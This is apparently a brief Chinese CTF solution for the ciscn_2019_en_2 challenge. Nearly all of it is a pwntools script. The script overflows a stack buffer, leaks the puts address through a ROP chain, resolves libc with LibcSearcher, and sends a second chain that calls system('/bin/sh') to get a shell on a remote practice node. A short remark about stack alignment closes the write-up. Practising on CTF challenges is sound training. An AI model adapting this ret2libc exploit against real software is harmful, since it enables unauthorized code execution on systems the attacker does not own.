跟之前的 ciscn_2019_c_1 相似

    1. from pwn import *
    2. from LibcSearcher import *
    4. content = 0
    5. context(os='linux', arch='amd64', log_level='debug')
    7. ret = 0x4006b9
    8. elf = ELF('ciscn_2019_en_2')
    10. puts_plt = elf.plt["puts"] 
    11. puts_got = elf.got['puts']
    12. main_addr = elf.symbols["main"]
    14. pop_rdi_ret = 0x400c83
    17. def main():
    18.     if content == 1:
    19.         peiqi = process('ciscn_2019_en_2')
    20.     else:    
    21.         peiqi = remote('node3.buuoj.cn',28445)
    23.     payload = b'a' * (0x50 + 8)
    24.     payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) 
    25.     payload = payload + p64(main_addr)
    26.     #print(payload)
    28.     peiqi.sendlineafter("Input your choice!\n", '1')
    29.     peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    31.     peiqi.recvuntil('Ciphertext\n')
    32.     peiqi.recvline()
    34.     puts_addr = peiqi.recv(7)[:-1]
    35.     puts_addr = u64(puts_addr.ljust(8,b'\x00'))
    36.     print(puts_addr)
    38.     libc = LibcSearcher('puts', puts_addr)
    40.     libc_base     = puts_addr - libc.dump('puts')
    41.     system_addr = libc_base + libc.dump('system')
    42.     binsh_addr  = libc_base + libc.dump('str_bin_sh')    
    44.     payload = b'a' * (0x50 + 8)
    45.     payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    47.     peiqi.sendlineafter("Input your choice!\n", '1')
    48.     peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    50.     peiqi.interactive()
    52. main()

    image.png
    同样是要注意 ubuntu8 的对齐栈问题